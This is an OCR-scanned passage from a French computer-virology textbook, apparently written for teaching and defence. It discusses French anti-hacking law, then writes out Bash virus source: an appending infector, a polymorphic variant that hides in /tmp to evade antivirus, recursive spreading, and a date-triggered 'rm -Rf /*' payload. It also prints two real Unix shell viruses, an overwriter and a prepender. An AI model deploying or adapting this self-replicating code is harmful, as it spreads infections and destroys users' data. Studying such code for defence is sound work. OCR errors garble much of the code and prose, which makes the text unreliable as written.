« Art. 323-3-1. - Le fait, sans motif legitime, d'imporier, de detenir, d 'offrir, de ceder ou de mettre a disposition un equipemeni, un instrument, un programme informatique ou toute donnee concus ou specialemeni adapies pour commettre une ou plusieurs des infractions preinies par les articles 323-1 a 323-3 est puni des peines preinies respectivement pour l'infraction elle-meme ou pour l'infraction la plus seueremeni repritnee. » II. - A ux articles 323-4 et 323-7 du meme code, les mots: « les articles 323-1 a 323-3 » sont remplaces par les mots: « les articles 323-1 a 323-3-1 ».



Cet article figure finalement sous cette forme dans la loi qui a finalement ete adoptee et publiee au Journal Officiel le 22 juin 2004. La saisine du Conseil Constitutionnelle 10 juin 2004 n'a pas donne lieu a une modification de cet article qui a ete declare constitutionnel. Sous cette forme, ce texte trop vague - sans motif legitime - « depasse largement les besoins de la lutte contre les virus informatiques 18 ». Non seulement, il risque de porter une grave atteinte a tous les travaux de recherche, 18



Declaration de Mme Evelyne Didier, chargee de presenter l'amendement numcro 84 lars de la seance de debats au Senat du 25 juin 2003. Le lecteur consultera le dossier sur httD://www.senat.fr/seances/s200306/s20030625/st20030625000.html
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positifs, dans le domaine de la securite informatique et faire prendre du retard a la France dans le domaine de la securite informatique. Mais en plus, cela nie la realite meme de ce domaine. Des contacts recents avec des chercheurs montrent I'cxtrcme frilosite de ces derniers a travailler et surtout publier sur ces sujets. La situation est d'autant plus floue qu'aucun organisme officiel n'a ete prevu pour decider qui « a ou non des motifs legitimes » et eventuellement delivrer une autorisation en bonne et due forme. Le probleme du chercheur ou du specialistc « amenant du travail chez lui » n'est pas non plus cvoque. Cet article de loi pose dcnormcs problemes pour beaucoup d'aspects. Pour certains d'entre eux, le lecteur consultera [18,169]. Quoi qu'il en soit, les connaissances continueront a s'echanger sous le manteau, et les chercheurs, ceux notamment travaillant au profit de l'Etat, seront coupes d'une fabuleuse mine d'informations, qui leur permettaient jusque-la de se former, de se tenir au courant et de faire progresser les techniques de lutte. II est a esperer que les juges continueront devaluer. comme par le passe, les eventuels cas non sur la forme mais sur le fond. La jurisprudence concernant cette loi sera a surveiller de tres pres. Mais cela prendra des annces. Quoi qu'il en soit, I'ecriture de virus, leur etude, leur manipulation, la publication d'articles ou de livres devront tenir compte de cette evolution. II est necessaire de rappeler aux eventuels chercheurs dans le domaine de la virologie informatique, que seul l'aspect specifiquement viral (l'autoreproduction de code) est a privilegier. A moins de traiter d'applications des technologies virales, la consideration de charges finales n'offre pas d'interet en soi. En consequence, toute experience en virologie informatique depassant le simple cadre de l'ordinateur personnel mono-utilisateur devra etre soigneusement pensee, et faire l'objet d'autorisations aupres de l'administrateur, de l'officier de securite et dans le strict respect des legislations en vigueur.



Exercices 1. Afin de tester la dependance du code binaire vis-a-vis du compilateur utilise, considerer un code source quelconque et compiler le a l'aide de differents compilateurs (Borland, Microsoft Studio 6, Microsoft Studio 2008, Eclipse ... ). Comparer les binaires obtenus. Que peut-on en conclure dans le cas de la lutte antivirale?
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« La meilleure defense est l 'aiiaque. » Carl von Clausewitz (1780 - 1831)



Apres avoir presente, dans la premiere partie de cet ouvrage, les bases theoriques de la virologie informatique et en avoir defini le vocabulaire et les concepts, nous allons maintenant aborder dans cette seconde partie un aspect plus pratique des virus. Le but est de presenter au lecteur les principaux ressorts algorithmiques de la virologie informatique, independamment de toute consideration de langage ou de systeme d'exploitation. C'est la raison pour laquelle nous avons choisi une approche differente de celle des (trop) rares ouvrages existants, qui presentent des etudes techniques detaillees de codes viraux. En general, ces virus sont en assembleur (ou ecrits dans des langages assez exotiques ou tres specifiques d'un type d'application, comme les langages VBA ou VBScript). Or, ce langage est fortement dependant d'une architecture de processeur. Le mode d'action de ces virus, de plus, exploite fortement une ou plusieurs caracteristiques du systeme d'exploitation, en general Windows. L'aspect algorithmique n'est pratiquement jamais systematise et la relative hermeticite du langage tend a noyer celui qui en etudie le code, empechant la prise de hauteur necessaire pour comprendre l'esprit de ce genre de programme. Toutes ces dependances fortes vis-a-vis d'un environnement specifique rendent le portage du code viral sur d'autres environnements extrernement difficile. Le lecteur n'a donc que tres rarement la possibilite de veritablement apprehender les concepts algorithmiques de base d'un virus. Ces ouvrages sont extremement interessants, une fois que ces concepts de base ont ete assimiles. mais ne sont nas a conseiller a un lecteur debutante
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Introduction



Les meilleurs ouvrages que l'on pourrait conseiller, a l'issue de la lecture de ce chapitre, sont ceux de Mark Ludwig [166] et surtout [167]1, memc si ces ouvrages commencent a dater, pour certains aspects. L'approche de Mark Ludwig est rigoureuse et claire mais suppose une bonne connaissance de l' assembleur. Les virus decrits dans cette partie pourront donc etre programmes par le lecteur sur n'importe quelle plateforme, sans requerir une modification des algorithmcs'. Le choix des virus etudies a ete guide par deux considerations principales : - tout d'abord, nous avons choisi des types de virus generalement peu connus ou pour lesquels il n'existe pratiquement pas de documentation technique detaillee : virus en langage interprete, virus compagnons et virus de documents. L'interet est que ces trois categories regroupent tous les aspects algorithmiques de base de la virologie informatique. Un quatrieme chapitre sur les vers permettra au lecteur dacqucrir les techniques de base de cette categoric particuliere d'infections informatiques. Enfin dans un cinquieme chapitre, les botnets, qui constituent l'essentiel de la menace actuelle, seront detailles et prcscntes comme une synthcsc algorithmique des infections classiques ; - en second lieu, ces familIes de virus representant actuellement un veritable defi en matiere de defense et de lutte antivirale. Programmes avec soin, leurs membres representant une menace tout-a-fait reelle, que les antivirus ne parviennent malheureusement pas a detecter. Les virus prcsentcs ici sont parvenus, sans grande difficulte, a leurrer les antivirus lors des tests. II ne s'agit pourtant que d'exemples relativement simples, moyennement elabores, prcscntes dans un but purement didactique. Leur capacite a souvent contourner toute protection reside non seulement dans leurs caracteristiques propres mais egalement, et pcut-etre surtout, dans le fait qu'ils interviennent dans un environnement ou la frontiere entre programme offensif et programme legitime est difficile, sinon impossible a identifier. 1



Cette seconde edition, plus complete que la premiere, est malheureusement difficile



a obtenir hors des Etats-Unis, etant distribue directement par la maison dcdit.ion de



2



Mark Ludwig. Nous conseillons cependant au lecteur de preferer cette version. Toutefois, signalons l'excellente traduction de la premiere version de ce livre, par Pascal Lointier, president du CLUSIF, encore disponible en France (voir [167]). Dans le cas des virus interpretes, presentes dans le chapitre 8, le lecteur devra juste rcecrirc le virus avec le langage de scripts de l'environnement souhaite, mais cela ne renresente aucune difficulte une fois aue les asnects alzorithrnioues sont assimilies.



209 C'est la raison pour laquelle les presenter ici n'a pas pour but de susciter des vocations de nuisance. C'est precisement parce qu'ils representant un risque qu'il est important de bien les connaitre. De cette connaissance, il est alors possible de tirer des enseignements et des principes qui permettront une lutte plus efficace, non pas de facon automatique grace a un antivirus (cette approche est certainement a considerer comme illusoire) mais a la fois au niveau des politiques de securite (la prevention) et des techniques d'audit et de surveillance. Ces classes de virus, en quelque sorte, constituent une illustration puissante des resultats theoriques presentee dans la premiere partie, concernant la difficulte de la defense et de la lutte antivirale. Tous les virus presentee ici ont ete developpes et testes sous Linux, en langage shell Bash pour les virus en code interprete, ou tout simplement en langage C. Ces deux langages sont simples et tout lecteur etudiant l'informatique en connait en general au moins un. La distribution SuSe 8.0 a ete choisie pour sa grande stabilite, mais tous ces virus fonctionnent sans probleme sous d'autres varietes d'Unix, des lors qu'ils sont conformes a la norme POSIX. Le compilateur utilise est gee (version 2.95.3). Enfin, sauf mention particuliere (notamment dans le cas des vers, OU il a ete jug« preferable de detailler des codes crees par d'autres), les virus prcscntes ici ont ete ecrits par l'auteur. Dans le cas specifique des virus de documents, agissant essentiellement au niveau des applications mais avec des connexions souvent importantes avec le systeme d'exploitation, les differents codes prcscntes ont ete testes sur les trois systemes principaux - Apple, Linux et Windows - quand cela etait possible. Precisons que le choix d'Unix est egalement dicte par le souhait de montrer que les possibilites de developpement de virus ne sont pas l'apanage exclusif de Windows. Rappelons que les virus ne sont que des programmes et qu'a ce titre aucune plateforme n'est plus adaptee qu'une autre. Logiciel libre ou non, un Unix mal concu (presence de failles) ou pis, mal configure et./ou mal administre, peut se reveler pire que Windows. La plupart des codes prcsentcs dans cette partie sont disponibles sur le CDROM accompagnant cet ouvrage. Ils sont fournis sous forme de fichiers au format PDF. Nous ne saurions trop insister sur I'extreme precaution dont le lecteur doit faire preuve lors de leur etude et des eventuelles manipulations : test en reseau ferme, sauvegarde des donnees, demande des autorisations necessaires. etc.
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Les virus interpretes



8.1 Introduction Ces virus sont souvent designes par le terme de virus de scripts. Cette denomination ne prend en compte en realite que les virus de type BAT sous DOS /Windows ou les virus en langage Shell pour les diflerentes varietes d'Unix. En fait, il faut considerer une plus large categorie dans laquelle entrent, en particulier, les virus precedents: celIe des virus en langages interpretes, Un fichier executable ecrit dans un tellangage consiste en un simple fichier texte (eventuellement avec des droits particuliers, d'execution sous Unix par exemple) qui va etre interprets par une application particuliere : « l'interprcteur ». II s'agit soit d'un programme attache a un systeme d'exploitation (classe des interpreteurs de commandes tel le COMMAND.COM du DOS, un shell d'Unix... ) soit d'un langage de programmation en propre (Lisp, Basic, Basic, Postscript, Python, Ruby, Tcl. ..) ou bien encore d'un interpreteur attache a un logiciel (Navigateur, traitement de texte de type Word!, visualiseur de document comme Acrobat ... ) ou a un peripherique materiel (une imprimante Postscript, par exemple). Un langage interprets est donc execute instruction apres instruction sans creation prealable d'un fichier executable (du moins de facon apparente, dans certains cas). Bien que ces langages soient legerement plus limites que des langages compiles, ils presentent toutefois suffisamment de possibilites permettant de les utiliser avec succes pour creer des virus simples mais efficaces. 1



Pour certains langages comme le Visual Basic for Applications (VBA), Java, Python, le Visual Basic Script (VBS) ... , la distinction entre « compile» et « interprete » n'est pas evidente. Une phase assimilable a une compilation intervient quelquefois sans que l'utilisateur ne s'en apercoive. Nous considererons qu'il s'agit de langages interpretes nuisoue l'utilisateur « execute ». en annarence directement. un code source.
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II faut d'ailleurs etre conscient du fait que l'explosion du nombre de virus s'explique en grande partie par la mise a disposition du public de langages relativement evolues, simples a apprendre et a maitriser et qui rendent possible, comme tout langage, I'ecriture de virus. Le meilleur exemple est sans conteste celui du langage VBScript avec lequel plusieurs vers celebres (et moins celebres) recents ont ete ecrits. Les macro-virus et le langage VBA sont un autre exemple de choix. Nous nous limiterons, dans ce chapitre, au langage Shell sous Linux, l'un des plus evolues. Le but est de montrer comment realiser toutes les caracteristiques algorithmiques d'un virus a l'aide d'un langage interprete, Le lecteur, ensuite, transcrira et adaptera sans difficulte l'algorithmique virale presentee ici aux autres langages et autres systemes d'exploitation. Les codes source des virus presentee dans ce chapitre sont disponibles sur le CDROM accompagnant cet ouvrage. Nous ne saurions trop insister sur I'cxtremc precaution dont le lecteur doit faire preuve lors de leur etude.



8.2 Creation d'un virus en Bash sous Linux Le BASH (Bourne Again Shell) est le shell le plus communemcnt utilise sous Linux'. Sa fonction est d'executer les commandes lancees par l'utilisateur (interface en mode texte). C'est un langage interprete, autorisant la programmation sous forme de scripts ou fichiers de commandes. II est comparable a I'interprctcur de commande du DOS (COMMAND.COM). Cree initialement par Brian Fox en 1988 puis ensuite en collaboration avec Chet Ramey, ce langage reprend les caracteristiques et avant ages de ses prcdeccsscurs (C shell, K orn shell et Bourne Shell). Sa principale specificite est une gestion optimale de l'historique des commandes (notamment, la reutilisation des commandes). Mais il facilite egalement l'administration et la programmation shell: nouvelles options, variables, amelioration des caracteristiques autorisant une programmation plus elaboree (entre autres, la gestion des jobs permettant a l'utilisateur de lancer, de suspendre et d'arreter un grand nombre de commandes en memc temps). L'illustration va en etre donnee dans le cadre de la programmation et de I'evolutivitc d'un virus bash. Le lecteur consultera [27,178] pour une description detaillee du Bash. Considerons le virus tres simple suivant que nous appellerons vbash. Nous le ferons evoluer peu a peu, pour lui attribuer les principales caracteristiques d'un virus elabore, Ce virus a ete developpe avec le GNU BASH version 2.05. La compatibilite de ce langage avec les normes en vigueur (IEEE POSIX) 2



II est ee:alement adonte Dar MacOS X. version 10.3.
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assure la portabilite de ces virus vis-a-vis d'autres langages de shells. Cette version du virus, quoique tres efficace, peut encore certes etre largement optimisee, mais en sacrifiant la lisibilite du programme. Le but, a travers ce virus, est d'illustrer de manierc claire et simple l'algorithmique virale de base.



for i in *.sh; do # pour tous les fichiers avec I'extension sh if test" .j$i" != "$0" ; then # si cible :I du fichier infectant en cours tail -n 5 $0 I cat> > $i; # ajouter le code du virus fi done



TAB.



8.1. Le virus vbash



Ce virus a une taille de 91 octets et infecte tous les fichiers portant l'extension .sh (fichier scripts en bash). II fonctionne par ajout de code a la fin de chaque fichier cible. Quand un fichier infecte (c'est-a-dire contenant ces lignes virales rajoutees) est execute, le virus est lui-meme execute en dernier lieu, propageant l'infection vers les autres scripts. L'ajout a la fin du fichier cible est plus efficace que l'ajout en debut, qui requiert d'utiliser des fichiers temporaires et donc d'accroltre I'activite disque. La contrepartie est que le virus ne s'execute qu'apres le programme infecte, Le programmeur doit donc trouver un compromis en fonction de l'effet final recherche. Outre certaines limitations, ce virus presente plusieurs defauts qu'un antivirus pourrait exploiter ou qui permettraient a l'utilisateur de le detecter facilement : - son action est restreinte au repertoire courant. Son pouvoir infectieux est donc limite. De plus, les fichiers scripts executables portant l'extension . sh sont peu nombreux. Ces fichiers, en general, sont plut6t identifies par la presence d'une ligne de commentaire de type # ! /bin/bash ; - il ne vcrifie pas si les fichiers cibles ont deja ete infectes par le virus. C'est une regIe fondamentale en virologie informatique. Si elle n'est pas respectee, le virus ajoutera son code a chaque lancement d'un fichier infecte, rajoutant 91 octets a chaque fois. L'augmentation rapide de la taille, sera tres vite detectee, Dans cette version de base, la lutte contre la surinfection est partielle (fichier infectant en cours) et donc insuffisante :
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- le virus n'est pas furtif. Sa simple presence peut etre detectee par affichage du contenu du repertoire, ou par lecture du fichier par un editeur de texte (type vi) ; - le virus n'est pas polymorphe. Le virus etant petit, les cinq lignes de son code peuvent aiscment constituer une signature exploitable; - meme si cela n'est pas fondamental, le virus n'a pas de charge finale. Nous allons voir comment, avec un langage interprets de type shell, il est possible dimplementer ces fonctionnalites. Nous verrons, en dernier lieu, comment accroitre son pouvoir infectieux. D'une manierc generale, signalons qu'une programmation propre requiert d'etre structuree : utilisation de procedures, de variables locales .... Le langage Bash ne fait pas exception a la regIe, memc si les possibilites sont plus limitees que celles du langage C. Toutefois, dans ce qui suit, nous n'utiliserons pas de programmation conforme aux canons, pour une raison evidcntc : tout code viral structure offre des possibilites plus grandes d'analyse et de detection par un antivirus. Dans le cas de langages interpretes, cet aspect est fondamental. II se pose beaucoup moins avec les langages compiles. L'autre raison est la necessaire limitation de la taille du fichier viral. Structurer le code a pour effet d'augmenter cette taille.



8.2.1 La lutte contre la surinfection Le virus doit verifier qu'il n'a pas deja infecte le fichier cible considere, Pour cela, il doit rechercher une signature qui est specifique du virus. Cette signature doit etre : - discriminante, c'est-a-dire que la probabilite de non detection d'une infection antcricure par le memc virus doit etre la plus faible possible. La totalite du code viral est a ce titre la meilleure des signatures mais la comparaison sera plus longue et plus couteuse en termes de res sources machines, dans le cas de repertoires contenant de nombreux fichiers cibles potentiels. Les langages interpretes de type Shell disposent cependant de fonctions puissantes pour effectuer cette recherche; - non-incriminante, c'est-a-dire que la probabilite de fausse alarme - declarer un fichier comme deja infecte alors qu'il n'en est rien - doit egalement etre la plus faible possible. L'instruction cp $0 $file n'est, par exemple, pas du tout adaptee, De nombreux scripts, non viraux, la contiendront. Dans les deux cas, le lecteur remarquera que ces deux proprietes sont largement dependantes de la longueur de la chaine de caracteres choisie et de ses nronrietes nlus ou moins aleatoires, Deux solutions existent alors : inserer
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une signature ou bien considerer tout ou partie du source du virus comme tel. Si la signature est composee d'une chaine de caracteres, il suffira au virus de la rechercher avant toute tentative d'infection. Une manierc optimale est de combiner la recherche de la signature et la signature elle-rneme en une seule instruction, par exemple :



if [ -z $(cat $i I grep lixYT6DFArwz32©'oi&7") ] then infection ... fi La signature est ici ixYT6DFArwz32©' oi&7. Elle est fixe, donc vulnerable a une action antivirale. Nous verrons comment resoudre ce probleme plus tarde Si nous voulons faire du virus lui-meme sa propre signature, il faut alors comparer les T dernieres lignes du fichier cible potentiellement infectable (si Test la taille finale du virus, en lignes) avec celles du virus : dans ce cas, il faut penser au fait que le virus peut lui-meme etre appele a partir d'un fichier infecte. Un exemple de code donnera, en utilisant la fonction tr (remplacement ou effacement de caracteres) :



HOST=$(tail -T $i I tr '\n' '\370') VIR=$(tail -T $0 I tr '\n' '\370') if [ "$HOST" == "$VIR" ] then infection fi On peut egalement utiliser la commande echo avec l'option -n (suppression du retour a la ligne) qui produira le memc resultat :



HOST=$(echo -n $(tail -12 $i)) VIR=$(echo -n $(tail -12 $0)) if [ "$HOST" == "$VIR" ] then echo EGALITE fi De nombreuses autres possibilites existent, qui exploitent la richesse du lanQ'aQ'e Bash.
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8.2.2 La Iutte anti-antivirale : Ie polymorphisme Nous ne traiterons pas le probleme de la furtivite dans ce chapitre. Cette propriete sera abordee par la suite dans le chapitre 9, consacre aux virus de type compagnon. En matiere de polymorphisme, remarquons que la problematique concernant la qualite de la signature virale, presentee dans la section 8.2.1, est la meme quand il s'agit de la lutte antivirale. Le virus doit donc interdire toute utilisation par l'antivirus des elements fixes constituant la signature. Une des techniques possibles (voir chapitre 5) est le chiffrement du fichier, a l'exception de la procedure de dechiffrement, qui cependant doit changer d'infection en infection si elle-meme ne veut pas constituer une signature. Cette technique est difficilement realisable avec un langage interprets comme le Bash (du moins si on desire conserver une taille reduite au code du virus). Des langages interpretes comme AWK [76] ou PERL 3 [222] (voir egalement l'excellent ouvrage de Christophe Blaess [27]) seraient sans doute plus adaptes. La realisation d'un tel virus est prop osee a titre de projet a la fin de ce chapitre. Une autre grande technique consiste en une mutation du code en un autre code equivalent. Cela consiste a faire varier, de copie en copie du virus, les elements constitutifs d'une signature potentielle, en produisant un code viral sensiblement different dans la forme, mais identique dans ses actions d'infection et de charge finale. Voyons comment cela fonctionne a travers un exemple simple mais illustratif. Cette version de vbash sera appelcc vbashp. Dans un but didactique, la lisibilite du code presente ici a ete amelioree, En situation reelle, le code pourra etre rendu plus compact et le polymorphisme des variables, amplifie, Afin de realiser le polymorphisme, le virus va simplement permuter aleatoirement son propre code avant d'infecter chaque cible, la permutation changeant de cible en cible. De cette maniere, la recherche de signature devient pratiquement impossible sur le corps principal du virus, puisqu'un eventuel sous-groupe d'instructions pris comme signature, variera en permanence. Toutefois, nous devons alors resoudre plusieurs problemes : - malgre le polymorphisme, le virus doit tenter de lutter efficacement contre la surinfection. II doit, lui, etre capable, quelle que soit la forme perrnutee du virus, de determiner sa presence. Cela ne peut etre realise a l'aide d'une chaine de caractcrcs, qui constituerait alors une signature exploitable; ni memc par une suite d'instructions, puisque cette suite 3
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est constamment pcrmutce. Restaurer la suite avant permutation est impossible car cette derniere n'est pas mcmorisce dans le virus (sinon on retombe sur une chaine fixe, donc une signature). - pour que le virus puisse s'executer, lors du lancement du fichier infecte, la permutation inverse doit etre appliquee. Pour les memes raisons evoquees dans le point precedent, cela doit se faire sans connaitre explicitement la permutation. II faut donc que soit presente, avant le code viral proprement dit (corps principal du virus ou CPV), une fonction de restauration de ce code. Le probleme est que cette fonction est « en clair» (non permutee) et peut donc constituer une signature, encore une fois si elle ne presente pas un minimum de variabilite, Voyons comment ont ete resolus ces deux problemes. Rappelons qu'il s'agit la d'une version didactique et qu'un virus reel devra etre legerement rcmanie afin d'obtenir une plus grande compacite et d'accroitre sa virulence (traitement recursif des sons-repertoires, voir section 8.2.3). Le lecteur pourra le faire a titre d'exercice. Afin d'accroitre la furtivite, et en particulier pour contre-balancer l'utilisation, inevitable, de fichiers temporaires, nous utilisons un repertoire temporaire cache /tmp/\ / (Ie symbole \ est un caractere dechappement indispensable pour indiquer a la commande mkdir que l'espace, qui designe le nom du repertoire, est un argument ).



La fonction de restauration de vbashp Considerons le cas general d'un fichier infecte par vbashp. Sa structure est decrite par le schema 8.1. Lorsque le virus prend le controle (fin d'execution du fichier proprement dit), il va isoler le corps principal du virus (utilisation d'un fichier temporaire) et appliquer la permutation inverse. Comme chaque ligne du corps principal du virus contient un commentaire en fin de ligne, de la forme #@n OU nest l'indice de la ligne dans la version non pcrmutce, une simple fonction de tri sort, permet de restaurer le code sans avoir besoin de connaitre explicitement la permutation appliquee (l'usage du @permet de disposer d'un separatcur de champ pour la commande sort non utilise par ailleurs dans le reste du code). Dans le code qui suit, la numerotation des lignes ne tient pas compte des commentaires rajoutes ici pour faciliter la comprehension. La variable /tmp/\ /test est differente de copie en copie du virus, cela afin d'assurer un minimum de polymorphisme. Notons que le choix de son nom (nom d'une commande interne au Bash) a pour but de contrarier fortement la lutte antivirale.
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8.1. Structure d'infection par vbashp



# Debut du fichier infecte echo "Ceci est un exemple de fielder infecte" mkdir -m 0777 / tmp/ \ / t ail -n 39 $0 I sort -g -t@ +1 > / t m p/\ / t est chmod -l-x / tm p/\ / test && / tm p/\ / test & exi t 0 TAB .



8 .2 . Virus vbashp : fonction de rest auration



L ut t e contre la surinfection et infection par vbashp Le cont role de la surinfect ion du fichier cible en cours va et re regle d 'une maniere elegante. Plutot que de rechercher une signatur e, quelle qu 'elle soit, ce qui nous est impossible si l'on veut ass ure r un minimum de polymorphisme, nous allons tester dynamiquement la presence du virus. Seule la lutte antivirale par emulat ion de cod e (voir section 5) pourra alors le detecter. Pour chaque cible, le virus isole les derni eres lignes contenant potentiellement le virus (CPV) et lan ce le cod e corresp ondant avec l'argument t e st. Si le virus est present , le code de retour de sortie normale (exit 0) indique la nr esence du virus. et son absence dans le cas cont raire . Lors de la reconie du
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# Lutte contre la surinfection if [ "$1" == "test" ]; then #@1 exit 0 #@2 fi #@3 # Infection proprement dite MANAGER=(test cd Is pwd) # noms variables de fichiers temporaires #@4 RANDOM=$$ #@5 for cible in * ; do #@6 # taille cible < taille CPV? nbligne=$(wc -1 $cible) #@7 nbligne=$(nbligne## ) #@8 nbligne=$(echo $nbligne I cut -d " " -f1) #@9 if [ $(($nbligne)) -lt 42 ] ; then #@10 continue #@11 fi #@12 NEWFILE=$MANAGER[$((RANDOM % 4))] #@13 tail -n 39 $cible I sort -g -t@ +1 > jtmpj\ j"$NEWFILE" #@14 chmod +x jtmpj\ j"$NEWFILE" #@15 if! jtmpj\ j"$NEWFILE" test; then #@16 continue #@17 fi #@18



TAB.



8.3. Virus vbashp gestion de la surinfection (Debut CPV)



virus dans le fichier cible, les lignes sont aleatoirement choisies, une a une, et copiees dans le fichier cible avec le champ #© numero_ligne. Ce champ est utilise pour retablir le code avant son lancement. L'alea est initialise avec une graine ayant pour valeur l'identificateur de processus shell en cours. Au final, nous obtenons une version polymorphe assez efficace. II reste evident qu'une recherche de signature conventionnelle (a partir d'une base de signatures) devient impossible, et si l'on veut conserver un taux de fausses alarmes raisonnablement faible, I'ecriture d'un script specifique du virus considere sera plus rentable. Mais pour cela, il est indispensable de disposer prealablement d'un fichier infecte, dont I'etude revelera tous les secrets: entre autres, comment le virus lutte contre la surinfection, malgre les mccanismes de polymorphisme. Outre la difficulte de disposer d'une premiere copie du virus pour analyse (surtout dans le cas d'un virus a la virulence limit.ee). I'crtronomie n'est nas ontimale.
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NEWFILE=$MANAGER[$((RANDOM % 4))] #@19 NEWFILE="/tmp/\ /$NEWFILE" #@20 echo "tail -n 39 $0 > $NEWFILE" >> $cible #@21 echo "chmod +x $NEWFILE && $NEWFILE &" » $cible #@22 echo "exit 0" #@23 tabft=("FT" [39]=" ") #@24 declare -i nbl=O #@25 while [ $nbl -ne 39 ] ; do #@26 valindex=$(((RANDOM % 39)+1)) #@27 while [ "$tabft[$valindex]" == "FT" ] ; do #@28 valindex=$(((RANDOM % 39)+1)) #@29 done #@30 ligne=$(tail -$valindex $0 I head -1) #@31 ligne=$ligne/'\t'#* #@32 echo -e "$ligne"'\t'''@$valindex'' » $cible #@33 nbl=$(($nbl+1)) #@34 done #@35 done #@36 fi #@37 rm /tmp/\ /* #@38 rmdir /tmp/\ /* #@39



TAB.



8.4. Virus vbashp : infection (suite et fin CPV)



8.2.3 Accroissement de la virulence de vbash L'action du virus vbash est limitee car elle est restreinte au repertoire courant et ne considere comme cible que les fichiers portant l'extension *.sh. L'infection, par le virus, des fichiers executables, quels qu'ils soient, pose le probleme de la discrimination entre les scripts et les fichiers compiles. II n'est pas suffisant de tester les droits en ecriturc et en execution:



if [ -w $i ] && [ -x $i ] then fi Dans le cas d'un script, la presence de la chaine # ! /bin/bash devrait suffire memc si elle n'est pas systematique, ce qui limite par consequent la portce du virus. II est aussi nossible de deduire de l'absence de la chaine ELF (Executable
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and Linking Format), caracteristique des fichiers compiles (et presente dans I'en-tete des fichiers), qu'il s'agit d'un script:



if [ then



-2



$ Cgrep



II



ELF II $i) ]



fi Considerons maintenant le traitement des autres repertoires. La premiere solution est d'utiliser la commande find. Cette solution est celIe adoptee par le virus UNIX_BASH (voir section 8.3.4). II suffit de lui donner, entre autres arguments, le repertoire de depart, par exemple le repertoire racine / si l'on recherche un effet maximal. La redirection des erreurs (2 >/dev/null) est fortement conseillee, les repertoires non accessibles en lecture provoquant un message peu discrete L'inconvenient de cette solution vient de son manque de furtivite. La commande find sollicite fortement la lecture sur le disque dur (diode de lecture allumee en permanence pendant une duree assez longue) et ralentit le systeme de facon non negligeable. Mal utilisee, elle provoque, de plus, de nombreux messages d'erreur. Une autre solution, beaucoup plus elegante, est d'utiliser la recursivitc. Des qu'un sons-repertoire est rencontrc, le programme s'appelle lui-meme afin de le traiter de manierc identique. II convient juste de preciser en debut de script, le repertoire initial. Le code peut se resumer ainsi :



if [ "$1" != "0" J; then DP=$PWD NAME=${O##.} fi for file in *; do if [ -d $file J; then cd $file $DP$NAME 0 2>/dev/null cd .. else procedure d'infection ... fi done Cette solution n'est cependant pas optimale. Chaque appel recursif du script provoque la creation d'un nouveau processus shell. Toutefois lors des tests, cette limitation n'a pas ete handicapante, le temps d'execution du virus etant tre» bref. meme dans le cas d'un utilisateur root. Dour leauel le nombre de
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fichiers executables est tres important. Une solution optimale consisterait a programmer la recursion au moyen de fonctions. Le lecteur interesse en trouvera un exemple dans [178, p. 131]. Le programmeur peut au contraire souhaiter diminuer la virulence de son virus, dans le but d'allonger sa survie (voir chapitre 5) en augmentant sa furtivite. Le virus pourra, par exemple, n'infecter que les fichiers qui viennent d'etre modifies (dans ce cas, il s'agit d'un virus de type lent). Cela signifie que la date du fichier cible est plus recente que celle du fichier infectant. L'instruction suivante, if [ -x "$cible" ] && then infection .... fi



[ $0 -nt $cible ] && [



-d "$cible" ]



sera alors utilisee. Mais il peut encore decider de n'infecter qu'un fichier sur n, afin de limiter, encore une fois, la virulence du virus. Dans l'exemple qui suit, nous utilisons les capacites arithmetiques du Bash pour infecter seulement 20 % des fichiers reguliers executables : #!/bin/bash declare -i cpt cpt=$ ((0)) for cible in *.sh ; do if [ -x "$cible" ] && [ $0 -nt $cible ] && [ ! -d "$cible" ] ;then cpt=$(($cpt+1)) if [ $((cpt%5)) != "0" J; then infection .... fi fi done L'inversion des lignes 5 et 6 ralentira encore l'infection ainsi que le lecteur pourra le constater. Enfin, l'utilisation de l'instruction continue n dans la boucle for, ou nest une valeur entiere, permettra de ne realiser l'infection que pour un fichier sur n.



8.2.4 Placement d'une charge finale Bien que la presence d'une charge finale ne soit pas obligatoire, il convient de dire auelaues mots la concernant. Son effet va directement denendre de
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l'endroit d'ou elle va etre appclec. On peut choisir de I'executer seulement si l'infection est reussie ou au contraire, si aucune infection n'est survenue, ou encore si un nombre minimum de fichiers ont pu etre infectes, Dans ces trois cas, un compteur est alors requis. Une version plus agressive la fera intervenir systematiquernent, avant ou apres la routine d'infection. Enfin, son declenchement peut etre assure lors de la realisation d'une condition, par exemple, la coincidence avec une date systeme :



if test "$(date +%b%d)" rm -Rf 1* fi



==



IJan21"; then



Dans tous les cas, la seule limite est celIe de l'imagination du programmeur.



8.3 Quelques exemples reels A titre d'illustration, nous allons presenter quelques virus reels en langage interprete, qui ont ete trouves sur divers sites de reference consacres aux virus. Le code source est donne tel qu'il a ete rencontre, seuls les commentaires ligne par ligne ont ete rajoutes, afin d'aider le lecteur debutant. Nous nous limiterons aux virus en langage shell, sous Unix. La philosophie des virus ecrits avec d'autres langages (principalement ceux de type BAT sous DOS) est identique. Precisons que ces virus, pour la plupart, sont rarement detectes par les antivirus generiques, en particulier sous Unix. Ces exemples montrent que mettre au point un virus sans defaut n'est pas si facile, car il faut penser a tous les evcncmcnts (dus au systeme ou a l'utilisateur) qui peuvent trahir sa presence ou perturber son fonctionnement.



8.3.1 Le virus UNIX



OWR



UNIX_ OWR (pour overwriter) est extrernement simple et petit. C'est un virus fonctionnant par ecrasement de code. Ce virus presente quelques defauts : - sa portce est limitee au repertoire courant; - il infecte tous les fichiers, memc ceux non executables ; - le virus s'ecrase lui-meme, provoquant le message d'erreur cp : '. lv' and 'v' are the same file qui pourra eventuellement alerter l'utilisateur. D'autres erreurs possibles ne sont pas gerees; - le virus n'est pas furtif, tous les fichiers en fin d'infection ont la memc taille.
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# Overwritter I for file in * ; do cp $0 $file done



# pour tout fickier # ecraser le jichier cible par le virus



8.5. Le virus



TAB.



UNIX



OWR



8.3.2 Le virus UNIX HEAD Le virus UNIX_HEAD est un virus procedant par ajout de code. II n'infecte



# !jbinjsh for F in * do # pour tout fichier do if [ "$(head -c9 $F 2 >jdevjnull)" = "# !jbinjsh" ] # si les 9 premiers caracteres sont # !jbinjsh then HOST=$(cat $F I tr '\n' \xc7)) # sauvegarde le fichier cible dans la variable HOST head -11 $0 > $F 2 > jdevjnull # ecrase le fichier cible avec les 11 premieres # lignes de son code echo $HOST I tr \xc7 '\n' > > $F 2 > j dev jnull # le fichier cible est finalement ajoute fi done



TAB.



8.6. Le virus



UNIX



HEAD



